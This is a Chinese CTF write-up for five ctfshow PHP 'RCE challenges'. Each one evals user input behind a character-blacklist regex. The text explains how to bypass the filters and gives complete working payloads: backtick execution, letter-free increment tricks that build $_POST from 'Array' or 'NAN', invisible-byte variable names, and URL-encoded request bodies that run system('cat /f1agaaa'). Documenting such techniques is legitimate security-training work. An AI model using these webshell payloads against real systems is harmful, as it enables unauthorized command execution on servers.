RCE挑战1

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

$code = str_replace("(","括号",$code);

$code = str_replace(".","点",$code);

eval($code);

?>

这里只是把().给过滤掉了,直接使用不带点和括号的RCE方式就可以了,比如日志文件包含,临时文件包含

还有更简单的

payload

1
code=echo `$_POST[1]`;&1=cat /f*

RCE挑战2

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

python脚本

1
2
3
4
5
6
7
<?php

for ($a = 0; $a < 256; $a++) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($a))){
echo urlencode(chr($a))." ";
}
}

跑了一下正则,才发现只有这几个东西能进行利用

image-20230220195106844

这道题利用的是自增rce

p牛之前的文章也写过这个

一些不包含数字和字母的webshell

思路就是,我们rce需要字母,但字母都过滤了,所以我们就要想办法去构造字母,p神是用

强制连接数组和字符串,数组将被转换成字符串,其值为Array,而我们如果取Array的第[0]个字母的话就是A,而A++就是B

img

payload1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$_=[].'';  //得到Array
$_=$_['/'=='+']; //让[]里的值报错返回0,取Array[0]=A,此时$_=A
$____='_'; //让$____=_,后面容易拼接
$__=$_; //将A赋给$__
$__++;$__++;$__++;$__++;$__++;$__++; //A自增到G,此时$__=G
$____.=$__; //将_和G拼接起来,此时$____=_G
$__=$_; //再将$__还原成A
$__++;$__++;$__++;$__++; //A自增到E,此时__=E
$____.=$__; //E和_G拼接,此时$____为_GE
$__=$_; //再将__换源成A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //A自增成T此时__=T
$____.=$__; //再拼接成_GET,此时$____=_GET
$_=$____; //为了方便起见,我们把____换成_
($$_[_])($$_[__]); //拼成我们想要的($_GET[_])($_GET[__]),传入_和__命令执行即可

payload2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);

这里为什么能用自增是因为$_是会记录上一次的值

最终paylaod

1
ctf_show=%24%5F%3D%5B%5D%2E%27%27%3B%24%5F%3D%24%5F%5B%27%27%3D%3D%27%24%27%5D%3B%24%5F%5F%5F%5F%3D%27%5F%27%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%5F%3D%24%5F%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%2B%2B%3B%24%5F%5F%5F%5F%2E%3D%24%5F%5F%3B%24%5F%3D%24%5F%5F%5F%5F%3B%24%24%5F%5B%5F%5F%5D%28%24%24%5F%5B%5F%5D%29%3B&__=system&_=cat /f1agaaa

RCE挑战3

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 105) {
if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

image-20230220200800189

这里是少了!’ 多了01

开始限制长度了,105字符,但是可以用数字0或者1,那么就可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到”NAN”和”INF”中的字符了,payload构造过程,这里直觉上认为构造_GET更简单,但是实际上目前可以用的字符当中,只有N离T最近,而从N开始自增构造T的时候,会经过OPQRS,所以其实构造_GET 的同时,已经把_POST构造出来了,相当于白构造了GE

这里的话

image-20230220204020605

字母的话可以随便取代,因为在这里的话字母会被当作0

1
2
3
4
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

原理还是上一题的自增,试着构造一下,当我是想直接$a[0]的时候,他没有回显,原来是因为现在的NAN还不算字符串,所以后面要在拼接一个例如

image-20230220204318669

拼接一个字符的话就会变成字符串了。

但我我们需要字母才能构造N,就用上一题同样的方法构造出A来,因为0可以用了,所以我们就不用让报错直接用[0]就可以了

img

这里能得到A是因为[].[]会变成Array,然后Array[0]就会生成A;

和RCE挑战2构造方法一样

然后我们就可以得到N了

img

这里能得到N是因为$_为A,然后A的话会变成0,然后再连接字符串A就可以了

$__=(A/A.A)[0]就是会变成这样

之后再跟上一步一样一步一步自增就可以了

payload1

1
2
3
4
5
6
7
8
9
$_=([].[])[0];    //得到Array
$_=($_/$_.$_)[0]; //__=N
$_++; //O
$__=$_.$_++; //拼接PO
$_++;$_++;$_++; //S
$__.=$_; //拼接POS
$_++; //T
$_=_.$__.$_; //拼接_和POST
$$_[0]($$_[1]); //$_POST[0]($_POST[1])
1
$_=([].[])[0];$_=($_/$_.$_)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$__.=$_;$_++;$_=_.$__.$_;$$_[0]($$_[1]);

paylaod2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
```
<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);
1
ctf_show=$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=cat /f1agaaa

%ff %fc 啥的是不可见字符

img1JIJ[C.png)

这里字母被过滤了,还可以利用不可见字符来给参数命名,学到了一个新知识点

RCE挑战4

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 84) {
if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

image-20230220223437262

这下子的话只有这些能进行利用了

少了个1,并且的话长度也进行了限制。

还是可以用rce3的方法,因为1没用到,并且只要在RCE3的基础上适当的缩短就行了

1
2
3
4
5
6
7
8
9
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);

这里的话还是利用不可见字符替代php变量名称(这里的payload得用bp发包,因为hackbar的话不会解析7f以后的字符)

payload

1
ctf_show=$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=cat /f1agaaa

RCE挑战5

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
eval($ctfshow);
}else{
echo("Are you hacking me AGAIN?");
}
}else{
phpinfo();
}
}
?>

image-20230220224606275

这里的话是把01都给过滤掉了,长度也更短了

限制73个字符,而且0也不可以用了,但是这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_() ,相当于gettext(),直接转化为字符串。另外,其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符(现象是这样但是实际机制需要看php源码)。其余知识点上面都已经讲过了,剩下的就是靠经验和积累对payload进行精简,下面是payload构造过程:

EXP

1
2
3
4
5
6
$a=_(a/a)[a];//相当于gettext(0/0)[0],得到N
$_=++$a;//O
$_=_.++$a.$_;//_PO
$a++;$a++;//R
$_.=++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

然后常规的替换成不可见字符变量名称,得到payload:

payload

1
ctf_show=$%ff=_(%ff/%ff)[%ff];$_=%2b%2b$%ff;$_=_.%2b%2b$%ff.$_;$%ff%2b%2b;$%ff%2b%2b;$_.=%2b%2b$%ff.%2b%2b$%ff;$$_[_]($$_[%ff]);&_=system&%ff=cat /f1agaaa

更短的payload(72位)

1
2
3
4
5
6
7
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])

payload1

1
ctf_show=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=cat /f1agaaa
1
$_=$a.$a++;//PO  相对于上一步,就是进行了这一步的修改

至于为什么$_=$a.$a++;这一步得到的是PO而不是OP,或者OO,而$_=_.$a.$a++;得到的是_OO,经过和用这种做法的师傅们讨论,目前分析下来最有可能的原因是,PHP在做字符串拼接的过程中(.操作),是一个从左到右递归的过程,而++操作类似于一个函数,php在执行完函数后,再做拼接的操作,$_=$a.$a++;//PO这里相当于先执行了$a++操作(函数),并得到$a++的返回值,然后和左侧的$a变量进行拼接,此时$a已经是P了。而$_=_.$a.$a++;时先执行了_$a的拼接,而后再执行$_='_O'.$a++,所以得到的是_OO。*以上所有均为猜测,具体机制需研究PHP源码。

68位字符

目前在gettext环境下,最短的payload了

1
2
3
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

这里的话php解析是从左到右递归的过程,这里有疑问的话一般都是$a[$_++/$_++]对这个有疑问,然后我就本地测试了一下,发现是这样的

就是$a的话是为O的,然后[P/Q]就会被解析成[0],然后$a[0]就是$a的值。

可以本地跑一下看看结果。

1
2
3
4
5
6
7
<?php


$a=O;//O
echo $a[0];
echo "----------";
echo $a[P/Q];

image-20230221183422744

payload(用不可见字符替代参数)

1
ctf_show=$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=cat /f1agaaa

这上面的题目几乎全是有关于自增rce的